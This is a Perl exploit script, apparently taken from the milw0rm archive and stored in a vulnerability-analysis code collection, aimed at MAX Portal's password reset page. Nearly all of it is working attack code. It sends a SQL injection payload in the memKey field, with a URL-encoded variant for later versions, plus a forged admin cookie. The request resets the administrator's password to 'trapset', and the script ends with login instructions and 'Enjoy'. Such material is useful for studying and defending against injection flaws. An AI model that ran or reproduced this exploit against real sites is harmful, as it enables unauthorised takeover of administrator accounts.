lilbool/vuln-code-analysis

1#!/usr/bin/perl

2#################################################################

3#    T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m

4#################################################################

5# EXPLOIT FOR - MAX Portal (All Versions)

6#

7#Exploit By :  A l p h a _ P r o g r a m m e r ( Sirus-v );

8#E-Mail : Alpha_Programmer@Yahoo.com

9#

10#This Xpl Change Admin's Pass in This Portal !!

11#

12#Discovered by: s d <irsdl@yahoo.com>

13#

14#################################################################

15#  Gr33tz To ==>   mh_p0rtal , Oil_karchack , Str0ke   &  AlphaST.Com

16#

17#And Iranian Hacking & Security Teams :

18# IHS , Shabgard , Emperor ,Crouz & Simorgh-ev

19#################################################################

20use IO::Socket;

21

22if (@ARGV < 2)

23{

24 print "\n==========================================\n";

25 print " \n     -- Exploit By Alpha Programmer --\n\n";

26 print "     Trap-Set Underground Hacking Team      \n\n";

27 print "      Usage: Max.pl <T4rg3t> <V3rsion>\n\n";

28 print " V3rsion :\n";

29 print " 1 ==>   Version 1.35 and 0lder\n";

30 print " 2 ==>   Version 1.36, 2.0 and Next\n";

31 print "==========================================\n\n";

32 print "Example:\n\n";

33 print "    Max.pl www.Site.com 1\n";

34 exit();

35}

36$hell = "foo' or M_Name='admin";

37if ($ARGV[1] =~"2" ){$hell = "foo%27%29+or+M_Name%3D%27admin%27+or+%28%271%27%3D%272"};

38

39

40my $host = $ARGV[0];

41my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,

42PeerPort => "80" );

43

44unless ($remote) { die "C4nn0t C0nn3ct to $host" }

45

46print "C0nn3cted\n";

47

48$http = "POST /password.asp?mode=reset HTTP/1.0";

49$http .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n";

50$http .= "Accept-Language: fa\n";

51$http .= "Content-Type: application/x-www-form-urlencoded\n";

52$http .= "Pragma: no-cache\n";

53$http .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)\n";

54$http .= "Host: $host\n";

55$http .= "Content-Length: 111\n";

56$http .= "Proxy-Connection: Keep-Alive\n";

57$http .= "Cookie: SSOComhide=Name=admin; SSOComUser=Cookies=&Pword=d7fae5da3d785535c12b70865519ba86&Name=admin\n\n";

58

59$http .= "pass=trapset&pass2=trapset&memId=-1&memKey=$hell&Submit=Submit\n\n\n\n";

60

61print "\n";

62print $remote $http;

63sleep(1);

64print "[+] Attacking ...\n";

65print "[+] Changing Admin's Password ...\n";

66while (<$remote>)

67{

68}

69print "\nNow Go to $host and Login With :\n\n";

70print "User: admin\n";

71print "Pass: trapset\n\n";

72print "Enjoy ;)\n";

73print "\n";

74### EOF ###

75

76# milw0rm.com [2005-05-26]